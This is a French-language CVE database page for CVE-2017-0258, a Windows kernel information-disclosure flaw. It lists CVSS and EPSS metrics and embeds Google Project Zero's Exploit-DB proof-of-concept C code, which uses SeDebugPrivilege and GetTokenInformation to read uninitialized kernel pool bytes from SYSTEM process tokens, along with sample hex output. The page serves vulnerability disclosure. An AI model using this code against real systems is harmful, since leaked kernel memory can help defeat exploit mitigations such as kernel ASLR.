CVE-2017-0258 : Détail

CVE-2017-0258

4.7
/
Moyen
A01-Broken Access Control
4.41%V4
Local
2017-05-12
12h00 +00:00
2017-08-12
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The Windows kernel in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allows authenticated attackers to obtain sensitive information via a specially crafted document, aka "Windows Kernel Information Disclosure Vulnerability," a different vulnerability than CVE-2017-0175, CVE-2017-0220, and CVE-2017-0259.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42006

Date de publication : 2017-05-14 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145 We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call. When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed: >NtQueryInformationToken.exe 520 00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<......... 00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................ 00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................ 00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ........... The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode. While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side. The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege. */ #define RTN_OK 0 #define RTN_USAGE 1 #define RTN_ERROR 13 #include <windows.h> #include <stdio.h> BOOL SetPrivilege( HANDLE hToken, // token handle LPCTSTR Privilege, // Privilege to enable/disable BOOL bEnablePrivilege // TRUE to enable. FALSE to disable ); void DisplayError(LPTSTR szAPI); VOID PrintHex(PBYTE Data, ULONG dwBytes); int main(int argc, char *argv[]) { HANDLE hProcess; HANDLE hToken; int dwRetVal = RTN_OK; // assume success from main() // show correct usage for kill if (argc != 2) { fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]); return RTN_USAGE; } if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) { if (GetLastError() == ERROR_NO_TOKEN) { if (!ImpersonateSelf(SecurityImpersonation)) return RTN_ERROR; if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){ DisplayError(L"OpenThreadToken"); return RTN_ERROR; } } else return RTN_ERROR; } // enable SeDebugPrivilege if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE)) { DisplayError(L"SetPrivilege"); // close token handle CloseHandle(hToken); // indicate failure return RTN_ERROR; } CloseHandle(hToken); // open the process if ((hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, atoi(argv[1]) // PID from commandline )) == NULL) { DisplayError(L"OpenProcess"); return RTN_ERROR; } // Open process token. if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) { DisplayError(L"OpenProcessToken"); return RTN_ERROR; } DWORD ReturnLength = 0; if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) { DisplayError(L"GetTokenInformation #1"); return RTN_ERROR; } PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength); if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) { DisplayError(L"GetTokenInformation #2"); return RTN_ERROR; } PrintHex(OutputBuffer, ReturnLength); // close handles HeapFree(GetProcessHeap(), 0, OutputBuffer); CloseHandle(hProcess); return dwRetVal; } BOOL SetPrivilege( HANDLE hToken, // token handle LPCTSTR Privilege, // Privilege to enable/disable BOOL bEnablePrivilege // TRUE to enable. FALSE to disable ) { TOKEN_PRIVILEGES tp; LUID luid; TOKEN_PRIVILEGES tpPrevious; DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES); if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE; // // first pass. get current privilege setting // tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = 0; AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &tpPrevious, &cbPrevious ); if (GetLastError() != ERROR_SUCCESS) return FALSE; // // second pass. set privilege based on previous setting // tpPrevious.PrivilegeCount = 1; tpPrevious.Privileges[0].Luid = luid; if (bEnablePrivilege) { tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED); } else { tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED & tpPrevious.Privileges[0].Attributes); } AdjustTokenPrivileges( hToken, FALSE, &tpPrevious, cbPrevious, NULL, NULL ); if (GetLastError() != ERROR_SUCCESS) return FALSE; return TRUE; } void DisplayError( LPTSTR szAPI // pointer to failed API name ) { LPTSTR MessageBuffer; DWORD dwBufferLength; fwprintf(stderr, L"%s() error!\n", szAPI); if (dwBufferLength = FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), GetSystemDefaultLangID(), (LPTSTR)&MessageBuffer, 0, NULL )) { DWORD dwBytesWritten; // // Output message string on stderr // WriteFile( GetStdHandle(STD_ERROR_HANDLE), MessageBuffer, dwBufferLength, &dwBytesWritten, NULL ); // // free the buffer allocated by the system // LocalFree(MessageBuffer); } } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Références

https://www.exploit-db.com/exploits/42006/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038446
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/98112
Tags : vdb-entry, x_refsource_BID
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.